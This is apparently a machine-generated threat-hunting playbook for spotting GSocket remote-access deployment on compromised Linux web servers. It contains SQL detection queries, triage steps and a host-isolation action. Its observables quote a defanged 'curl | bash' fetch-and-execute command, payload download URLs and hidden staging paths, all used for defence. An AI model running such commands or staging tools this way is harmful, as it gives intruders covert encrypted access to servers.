--- analysis: A simple alert on 'curl | bash' is too noisy for production; this hunt uses a behavioral process lead followed by cross-surface corroboration in volatile directories to confirm weaponization. blind_spots: - id: no-process-telemetry question: whether a web server process spawned a shell or downloader requires: hb_process_activity from Linux servers risk: Without process execution logs, the behavioral lead will fail to identify the compromise. stage: deployment-downloader - id: no-file-telemetry question: whether files were created by web service accounts in volatile paths requires: hb_file_activity with /dev/shm and /tmp coverage risk: Many EDR configurations exclude volatile or memory-backed paths like /dev/shm, hiding the staging activity. stage: concealed-staging coverage: - stage: initial-web-exploitation status: covered steps: - scoping-web-servers - lead-web-spawning-downloader - stage: deployment-downloader status: covered steps: - lead-web-spawning-downloader - execution-from-volatile-paths - dns-to-relay-domains - stage: concealed-staging status: covered steps: - web-account-file-staging - reason: 'Belongs to another part of the ''The global socket: how threat actors are weaponizing GSocket for stealthy C2'' series.' stage: privilege-escalation-exploit status: out_of_scope - reason: 'Belongs to another part of the ''The global socket: how threat actors are weaponizing GSocket for stealthy C2'' series.' stage: masqueraded-persistence status: out_of_scope - reason: 'Belongs to another part of the ''The global socket: how threat actors are weaponizing GSocket for stealthy C2'' series.' stage: encrypted-relay-c2 status: out_of_scope guardrails: claims: no_unsupported evidence: citation_required missing_data: not_benign telemetry: untrusted hunt: applicability: campaign-specific handoff: promote-to-detection justification: The 356% increase in GSocket weaponization demonstrates a high risk of persistent, encrypted remote access that bypasses traditional patch-based remediation. methodology: model-assisted trigger: intel-report hypothesis: An adversary has exploited a web application and is using the web server's process context to download and stage a remote access tool like GSocket in memory-backed or hidden directories. labels: - hunt - attack.t1190 - attack.t1105 - attack.t1059.004 - attack.t1564.001 - attack.t1070.004 - command and control - defense evasion - execution - initial access - persistence - privilege escalation name: Linux Web Server Tool Staging and Execution parameters: gsocket_domains: default: - gsocket.io - gsgg.b-cdn.net - cdn.gsocket.io description: Known domains used for GSocket relay and distribution. from: kind: article observed: '2026-11-11' ref: msrc-blog-2026-11-11 type: list[domain] lookback_days: default: '14' description: Days of history to examine. type: number scope_hosts: default: [] description: Optional list of hostnames to focus the lead query; leave empty for estate-wide. type: list[host] provenance: authors: - name: Huntbase hunt generation org: huntbase.io generated: by: huntbase-hunt-generation from: https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/ gates: - dry-run - lint model: hb_google/gemini-3-flash-preview rationale: Focus the hunt on Linux servers running internet-facing web software (Apache, Nginx, PHP). Use the scoping step to identify targets and paste them into the scope_hosts parameter if narrowing the lead is required. references: - name: "Microsoft Security Blog \u2014 The global socket: how threat actors are weaponizing\ \ GSocket for stealthy C2" url: https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/ related: - hunt: gsocket-persistence-and-relay-c2 reason: This hunt focuses on initial staging; follow-on activity involves systemd/cron persistence and relay network traffic. relation: follows scenario: stages: - name: Web Application Compromise observables: - PHP web applications - cPanel hosting - Apache web server context - Remote code execution slug: initial-web-exploitation tactic: initial-access techniques: - T1190 - name: Scripted Tool Retrieval observables: - curl -sSL hxxps://gsocket[.]io/y | bash - hxxps://gsocket[.]io/install.sh - hxxps://gsgg[.]b-cdn[.]net/bin/gs-netcat_mini-linux-x86_64 - hxxps://cdn[.]gsocket[.]io/bin/gs-netcat_mini-linux-aarch64 slug: deployment-downloader tactic: execution techniques: - T1105 - T1059.004 - name: Hidden Payload Staging observables: - /dev/shm/.gs-0/ - /tmp/.gsn_ora - /tmp/systemd-remount-d - Memory-backed directories slug: concealed-staging tactic: defense-evasion techniques: - T1564.001 - T1070.004 - name: Kernel Exploitation observables: - CVE-2026-43284 - Dirty Frag vulnerability slug: privilege-escalation-exploit tactic: privilege-escalation techniques: - T1068 - name: Systemd and Cron Persistence observables: - systemd-remount-d - /usr/bin/systemd-remount-d - cron jobs - systemd units - kernel-thread-like names slug: masqueraded-persistence tactic: persistence techniques: - T1036 - T1053.003 - T1543.002 - name: Relay Network C2 observables: - gsocket.io - cdn.gsocket.io - gsgg.b-cdn.net - Outbound encrypted relay traffic - GS_TG_TOKEN - Telegram notification delivery slug: encrypted-relay-c2 tactic: command-and-control techniques: - T1071 - T1090.002 summary: Threat actors are weaponizing GSocket, a legitimate encrypted relay tool, to maintain persistent outbound-only C2 on compromised Linux servers. By tunneling traffic through the public Global Socket Relay Network, attackers evade inbound firewall restrictions and bypass traditional IP-based blocking even after the initial web application vulnerability is patched. series: index: 1 slug: the-global-socket-how-threat-actors-are-weaponizing-gsocket-for-stealthy-c2 title: 'The global socket: how threat actors are weaponizing GSocket for stealthy C2' total: 2 severity: high targets: analyst: name: Tier-2 analyst role: analyst endpoint: category: endpoint name: Endpoint telemetry (hb_ surfaces) telemetry: - endpoint hunter: agent: true name: Hunt agent tlp: clear type: investigation --- # Linux Web Server Tool Staging and Execution Threat actors are weaponizing GSocket (Global Socket) on Linux servers to maintain persistent, encrypted access that survives application patching. This hunt focuses on the initial deployment phase where a compromised web server process executes a scripted downloader and stages a binary in memory-backed directories like /dev/shm or hidden /tmp paths. The hunt uses a gated flow: a cheap lead query identifies web server processes spawning downloaders or shell interpreters regardless of the target domain. If confirmed, the hunt fans out to look for the specific execution patterns in volatile paths, file creation by web service accounts, and connections to known relay domains. ## scoping-web-servers Find Linux servers running Apache, Nginx, PHP, or cPanel that represent the primary attack surface. ```sqlite target=endpoint role=scoping ~~~yaml expected: A list of hostnames running web hosting software. Silence means no such software is indexed. reads: - device_hostname - package_name - package_version silence: not_evidence_of_absence source: hb_software_inventory verified: dry-run verified_at: '2026-11-12' ~~~ SELECT DISTINCT device_hostname, package_name, package_version FROM hb_software_inventory WHERE (LOWER(package_name) LIKE '%apache%' OR LOWER(package_name) LIKE '%nginx%' OR LOWER(package_name) LIKE '%php%' OR LOWER(package_name) LIKE '%cpanel%') ``` ## lead-web-spawning-downloader Identify hosts where web server processes are spawning tools used for external retrieval or shell execution. ```sqlite target=endpoint role=baseline params=(scope_hosts=scope_hosts, lookback_days=lookback_days) ~~~yaml baseline: compare: first_seen window: '{{lookback_days}}d' expected: Anomalous process spawning from a web server context. Silence suggests no such shell or downloader activity occurred. prevalence: by: device_hostname key: - parent_process_name - process_name rare_below: 5 reads: - device_hostname - parent_process_name - process_name - process_cmd_line - user_name - time silence: not_evidence_of_absence source: hb_process_activity verified: dry-run verified_at: '2026-11-12' ~~~ SELECT device_hostname, parent_process_name, process_name, process_cmd_line, user_name, COUNT(*) as occurrence_count FROM hb_process_activity WHERE (LOWER(parent_process_name) LIKE '%apache%' OR LOWER(parent_process_name) LIKE '%httpd%' OR LOWER(parent_process_name) LIKE '%nginx%' OR LOWER(parent_process_name) LIKE '%php-fpm%' OR LOWER(parent_process_name) LIKE '%cpanel%') AND (LOWER(process_name) LIKE '%curl%' OR LOWER(process_name) LIKE '%wget%' OR LOWER(process_name) LIKE '%bash%' OR LOWER(process_name) LIKE '%sh%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY 1, 2, 3, 4, 5 ``` ## gate-read ```agent target=hunter cite: required context: - lead-web-spawning-downloader max_iterations: 3 objective: Determine if the process activity in lead-web-spawning-downloader represents a suspicious download-and-execute pattern from a web context. success_criteria: A verdict per host indicating if behavioral evidence warrants investigation. tools: - endpoint ``` ## gate-decision if~: "The gate-read verdict is suspicious for at least one host." (confidence: high, judge=hunter) then: → deep-analysis-fanout indeterminate: → analyst-review unavailable: → analyst-review (blind_spot: no-process-telemetry) else: → close-out ## deep-analysis-fanout parallel: - → execution-from-volatile-paths - → web-account-file-staging - → dns-to-relay-domains join: → agent-triage ## execution-from-volatile-paths Identify the pattern of a fetcher tool (curl/wget/sh) initiating the execution of a binary from memory-backed or hidden directories. ```sqlite target=endpoint role=detection-candidate params=(lookback_days=lookback_days) ~~~yaml expected: A process chain where a staged binary is executed by a shell or downloader context. Silence suggests no such tool execution occurred. reads: - device_hostname - process_name - process_cmd_line - parent_process_name - user_name - time - process_path silence: not_evidence_of_absence source: hb_process_activity verified: dry-run verified_at: '2026-11-12' ~~~ SELECT device_hostname, process_name, process_cmd_line, parent_process_name, user_name, time FROM hb_process_activity WHERE (process_path LIKE '/dev/shm/%' OR process_path LIKE '/tmp/%' OR process_path LIKE '/var/tmp/%') AND (LOWER(parent_process_name) LIKE '%bash%' OR LOWER(parent_process_name) LIKE '%sh%' OR LOWER(parent_process_name) LIKE '%curl%' OR LOWER(parent_process_name) LIKE '%wget%') AND time >= datetime('now', '-{{lookback_days}} days') ``` ## web-account-file-staging Corroborate by identifying file touches in volatile paths by accounts typically associated with web services. ```sqlite target=endpoint role=enrichment params=(lookback_days=lookback_days) ~~~yaml expected: File creation in hidden or memory-backed paths by web service accounts. Silence means no such files were logged. reads: - device_hostname - file_path - process_name - actor_user_name - time silence: not_evidence_of_absence source: hb_file_activity verified: dry-run verified_at: '2026-11-12' ~~~ SELECT device_hostname, file_path, process_name, actor_user_name, time FROM hb_file_activity WHERE (file_path LIKE '/dev/shm/%' OR file_path LIKE '/tmp/%' OR file_path LIKE '/var/tmp/%') AND (LOWER(actor_user_name) IN ('www-data', 'apache', 'nginx', 'cpanel', 'httpd', 'nobody')) AND time >= datetime('now', '-{{lookback_days}} days') ``` ## dns-to-relay-domains Corroborate the behavioral evidence with lookups for known tool distribution and relay domains. ```sqlite target=endpoint role=enrichment params=(gsocket_domains=gsocket_domains, lookback_days=lookback_days) ~~~yaml expected: DNS resolutions to gsocket.io or its CDNs. Silence suggests a custom or IP-based relay was used. reads: - device_hostname - query_hostname - time silence: not_evidence_of_absence source: hb_dns_activity verified: dry-run verified_at: '2026-11-12' ~~~ SELECT device_hostname, query_hostname, COUNT(*) as query_count, MIN(time) as first_seen FROM hb_dns_activity WHERE instr(',' || '{{gsocket_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0 AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY 1, 2 ``` ## agent-triage ```agent target=hunter cite: required context: - gate-read - execution-from-volatile-paths - web-account-file-staging - dns-to-relay-domains max_iterations: 6 objective: Determine if the correlated activity across process, file, and DNS telemetry indicates a GSocket deployment or unauthorized tool staging. success_criteria: A malicious | suspicious | benign verdict per host, citing the command lines and volatile file paths. tools: - endpoint ``` ## route-verdict if~: "the triage verdict is malicious for at least one host" (confidence: high, judge=hunter) then: → isolate-host indeterminate: → analyst-review unavailable: → analyst-review (blind_spot: no-file-telemetry) else: → close-out ## isolate-host ```action target=endpoint ~~~yaml approval: required ~~~ Isolate the host immediately. Do not reboot, as contents in /dev/shm will be lost. Collect memory and volatile path contents first. ``` → analyst-review ## analyst-review ```manual target=analyst Review the triage agent's verdict and the cited process hierarchies. Check web server logs (Apache/Nginx) for RCE attempts or malicious file uploads matching the timing of the downloader activity. ``` → end ## close-out ```manual target=analyst Record the results of the hunt. If no activity was found, verify that the scoping query successfully identified web server assets. ``` → end